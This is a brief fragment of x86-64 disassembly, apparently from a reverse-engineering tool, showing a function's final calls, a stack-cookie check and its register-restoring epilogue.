mov rdx, rbx
mov rcx, r14
call fcn.1800a8f60
mov eax, 1
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.180107470
add rsp, 0x60
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret